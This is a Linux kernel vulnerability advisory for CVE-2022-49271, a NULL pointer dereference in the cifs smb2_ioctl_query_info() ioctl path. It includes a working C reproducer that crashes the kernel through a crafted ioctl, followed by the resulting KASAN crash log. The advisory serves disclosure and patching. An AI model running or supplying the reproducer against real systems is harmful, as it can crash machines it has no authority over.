CVE: CVE-2022-49271
Published: 2025-02-26
Description: In the Linux kernel, the following vulnerability has been resolved:

cifs: prevent bad output lengths in smb2_ioctl_query_info()

When calling smb2_ioctl_query_info() with
smb_query_info::flags=PASSTHRU_FSCTL and
smb_query_info::output_buffer_length=0, the following would return
0x10

	buffer = memdup_user(arg + sizeof(struct smb_query_info),
			     qi.output_buffer_length);
	if (IS_ERR(buffer)) {
		kfree(vars);
		return PTR_ERR(buffer);
	}

rather than a valid pointer thus making IS_ERR() check fail.  This
would then cause a NULL ptr deference in @buffer when accessing it
later in smb2_ioctl_query_ioctl().  While at it, prevent having a
@buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO
FileEndOfFileInformation requests when
smb_query_info::flags=PASSTHRU_SET_INFO.

Here is a small C reproducer which triggers a NULL ptr in @buffer when
passing an invalid smb_query_info::flags

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#include <unistd.h>
	#include <fcntl.h>
	#include <sys/ioctl.h>

	#define die(s) perror(s), exit(1)
	#define QUERY_INFO 0xc018cf07

	int main(int argc, char *argv[])
	{
		int fd;

		if (argc < 2)
			exit(1);
		fd = open(argv[1], O_RDONLY);
		if (fd == -1)
			die("open");
		if (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1)
			die("ioctl");
		close(fd);
		return 0;
	}

	mount.cifs //srv/share /mnt -o ...
	gcc repro.c && ./a.out /mnt/f0

	[  114.138620] general protection fault, probably for non-canonical address 0xdffffc[PII_REDACTED]: 0000 [#1] PREEMPT SMP KASAN NOPTI
	[  114.139310] KASAN: null-ptr-deref in range [0x[PII_REDACTED]000000-0x[PII_REDACTED]000007]
	[  114.139775] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 #1
	[  114.140148] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014
	[  114.140818] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs]
	[  114.141221] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24
	[  114.142348] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256
	[  114.142692] RAX: dffffc[PII_REDACTED] RBX: ffff[PII_REDACTED]00 RCX: ffffffffa020580d
	[  114.143119] RDX: [PII_REDACTED] RSI: [PII_REDACTED] RDI: ffffffffa043a380
	[  114.143544] RBP: ffff[PII_REDACTED]78 R08: [PII_REDACTED] R09: [PII_REDACTED]
	[  114.143983] R10: fffffbfff4087470 R11: [PII_REDACTED] R12: ffff[PII_REDACTED]88
	[  114.144424] R13: 00000000ffffffea R14: ffff[PII_REDACTED]28 R15: [PII_REDACTED]
	[  114.144852] FS:  00007f7aeabdf740(0000) GS:ffff[PII_REDACTED]00(0000) knlGS:[PII_REDACTED]
	[  114.145338] CS:  0010 DS: 0000 ES: 0000 CR0: [PII_REDACTED]
	[  114.145692] CR2: 00007f7aeacfdf5e CR3:[PII_REDACTED]00e000 CR4:[PII_REDACTED]350ee0
	[  114.146131] Call Trace:
	[  114.146291]  <TASK>
	[  114.146432]  ? smb2_query_reparse_tag+0x890/0x890 [cifs]
	[  114.146800]  ? cifs_mapchar+0x460/0x460 [cifs]
	[  114.147121]  ? rcu_read_lock_sched_held+0x3f/0x70
	[  114.147412]  ? cifs_strndup_to_utf16+0x15b/0x250 [cifs]
	[  114.147775]  ? dentry_path_raw+0xa6/0xf0
	[  114.148024]  ? cifs_convert_path_to_utf16+0x198/0x220 [cifs]
	[  114.148413]  ? smb2_check_message+0x1080/0x1080 [cifs]
	[  114.148766]  ? rcu_read_lock_sched_held+0x3f/0x70
	[  114.149065]  cifs_ioctl+0x1577/0x3320 [cifs]
	[  114.149371]  ? lock_downgrade+0x6f0/0x6f0
	[  114.149631]  ? cifs_readdir+0x2e60/0x2e60 [cifs]
	[  114.149956]  ? rcu_read_lock_sched_held+0x3f/0x70
	[  114.150250]  ? __rseq_handle_notify_resume+0x80b/0xbe0
	[  114.150562]  ? __up_read+0x192/0x710
	[  114.150791]  ? __ia32_sys_rseq+0xf0/0xf0
	[  114.151025]  ? __x64_sys_openat+0x11f/0x1d0
	[  114.151296]  __x64_sys_ioctl+0x127/0x190
	[  114.151549]  do_syscall_64+0x3b/0x90
	[  114.151768]  entry_SYSCALL_64_after_hwframe+0x44/0xae
	[  114.152079] RIP: 0033:0x7f7aead043df
	[  114.152306] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24
---truncated---
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-476
References: https://git.kernel.org/stable/c/7529fbee10d82493c5cb109e51788bf74816d1c0; https://git.kernel.org/stable/c/9963ccea6087268e1275b992dca5d0dd4b938765; https://git.kernel.org/stable/c/b92e358757b91c2827af112cae9af513f26a3f34